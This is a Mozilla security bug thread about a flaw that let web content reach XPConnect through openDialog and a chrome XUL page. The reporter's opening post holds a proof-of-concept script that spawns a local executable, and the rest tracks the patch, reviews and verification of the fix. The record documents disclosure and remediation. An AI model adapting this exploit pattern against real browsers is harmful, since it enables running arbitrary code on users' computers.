56009 - Exploit: Accessing XPConnect remotely thru openDialog

Status: VERIFIED FIXED

(Core :: Security, defect, P3)

Description

[Mitchell Stoltz (not reading bugmail)]

Finally I managed to get access to XPConnect/XPCOM from web content
which leads to executing native code and may lead to taking full control
over user's computer.
I strongly recommend disallowing web content to load any chrome in any
way.

Mitchell, could you please write back whether you can reproduce the
exploit below?

The code is:
---------------------------------------------
<SCRIPT>
command="javascript:a=Components.classes['@mozilla.org/file/local;1'].createInstance().QueryInterface(Components.interfaces.nsILocalFile);"
+"a.initWithPath('c:\\\\test.exe');"
+"a.spawn(null,0);";window.openDialog("chrome://communicator/content/sidebar/preview.xul","_blank","chrome,resizable,close,dialog=no","georgi",command)
</SCRIPT>
 ---------------------------------------------

Georgi Guninski

Comment 1

[Mitchell Stoltz (not reading bugmail)]

Adding rtm; this is a ship-stopper. Working on a fix right now. ccing some
relevant people.

Comment 2

[Mitchell Stoltz (not reading bugmail)]

Attachment: Patch for Review

Comment 3

[Mitchell Stoltz (not reading bugmail)]

The patch is posted. Hyatt, the changes I made allow CSS and JS files to be
loaded from chrome, and nothing else (when initiated by web content). I don't
think XUL overlays are subject to a CheckLoadURI at all, but if I'm wrong then
they may be broken by this patch. Can you verify? 

Comment 4

[Mitchell Stoltz (not reading bugmail)]

marking [RTM+] with verbal approval from beard. Need super-review.

Comment 5

[Jim Roskind]

Please get a super review, and then renominate.
Thanks,
Jim

Comment 6

[Brendan Eich [:brendan]]

Looks ok, but I need to sleep--more review tomorrow.  Hyatt should bless, maybe
scc can have a look too.  Is this in the trunk yet?  Did overlays break?

/be

Comment 7

[David Hyatt]

Mitch, patch looks good.  In nsChromeProtocolHandler, you should also allow
files with an XML extension as well (in addition to XUL and HTML).

Can you explain the cases (for example in nsXMLElement) where you have the
disallow from mail flag passed in?

With the XML change a=hyatt.

Comment 8

[Mitchell Stoltz (not reading bugmail)]

The disallow from mail flag was created by Norris. It's to stop HTTP redirects
or META refreshes in mail messages, which could otherwise be used for spoofing
message content.

I will add the xml extension in ChromeProtocolHandler.

Comment 9

[Mitchell Stoltz (not reading bugmail)]

Attachment: New patch for nsChromeProtocolHandler

Comment 10

[Mitchell Stoltz (not reading bugmail)]

Attachment: Patch with SCC's changes

Comment 11

[David Hyatt]

a=hyatt on the changes.

Comment 12

[Scott Collins]

er ... where's the rest of the patch?  That one seems awful short :-)

Comment 13

[Mitchell Stoltz (not reading bugmail)]

Scott,
  The rest is unchanged from the original patch. Only
nsScriptSecurityManager.cpp differs.

Comment 14

[Mitchell Stoltz (not reading bugmail)]

Attachment: My bad. Here's the complete patch, Scott.

Comment 15

[Scott Collins]

Looks good.  My only remaining concerns are: did omitting the extra parentheses
in the |while|s add to the warnings?  e.g., should you have said

  while ((aCOMPtr = do_QueryInterface(aSourcePtr, &rv))
    {
      // ...
    }

?  also, did you really want to throw away the error later, returning
|NS_FAILURE|?  or will the caller want you to, e.g., |return rv;|?  It may well
be that the caller does only want |NS_FAILURE| ... I'm just asking.

sr=scc.

Comment 16

[Mitchell Stoltz (not reading bugmail)]

Reviewed, super-reviewed, folded, spindled, mutilated, and tested on both trunk
and branch. Restoring RTM+. Cheking oin on trunk. Do I have branch checkin
approval?

Comment 17

[Patrick C. Beard]

PDT, please grant rtm++, this exploit is a stop-ship bug.

Comment 18

[Jim Roskind]

RTM double plus  'cause this sounds terrible.
Hopefully there was great care, and Scott Collins was as careful in his review
as he said he is (he was tellin' me this evening in fact!!!)... 'cause this is a
big'n.
Please land on branch asap.  Thanks.

Comment 19

[Mitchell Stoltz (not reading bugmail)]

Landed on branch.

Comment 20

[lchiang]

czhang is no longer here.  qa contact to paw.

Comment 21

[lchiang]

Can anyone on the cc: list help to verify this exploit is no longer able to be
executed?

Comment 22

[John Morrison]

Yeah, I can do this.

Comment 23

[John Morrison]

A modified form of guninski's exploit is posted at 
   http://jrgm/bugs/56009/exploit-alert.html

The only changes were to target nsIPref, and to display the success in an 
alert (for easy checking in an optimized Mac build). 

Prior to this fix, that testcase would succeed in getting ahold of the prefs
service. Now, in 2000110409 mac/linux/win32 MN6 builds, it throws an 
NS_ERROR_DOM_SECURITY_ERR.

Marking vtrunk (although mstolz may wish to verify this further/in greater 
depth).

Comment 24

[ckritzer (gone)]

Marking VERIFIED FIXED on:
-MacOS91 2001-05-23-08-trunk
-Win98SE 2001-05-23-09-trunk
-LinRH62 2001-05-23-08-trunk

Comment 25

[Johnny Stenback (:jst)]

FYI, this caused bug 141442.